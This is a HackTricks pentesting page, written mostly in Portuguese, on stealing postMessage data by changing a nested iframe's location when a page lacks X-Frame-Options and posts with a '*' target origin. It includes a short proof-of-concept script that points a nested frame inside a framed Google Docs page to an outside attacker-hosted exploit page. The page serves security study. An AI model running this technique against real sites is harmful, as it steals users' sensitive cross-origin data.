hacktricks/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md

3.4 KiB

Steal postmessage modifying iframe location

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Mudando as localizações de iframes filhos

De acordo com este artigo, se você puder iframe uma página da web sem o X-Frame-Header que contém outro iframe, você pode mudar a localização desse iframe filho.

Por exemplo, se abc.com tiver efg.com como iframe e abc.com não tiver o cabeçalho X-Frame, eu poderia mudar o efg.com para evil.com cross origin usando frames.location.

Isso é especialmente útil em postMessages porque se uma página estiver enviando dados sensíveis usando um wildcard como windowRef.postmessage("","*"), é possível mudar a localização do iframe relacionado (filho ou pai) para um local controlado pelo atacante e roubar esses dados.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks
{% endhint %}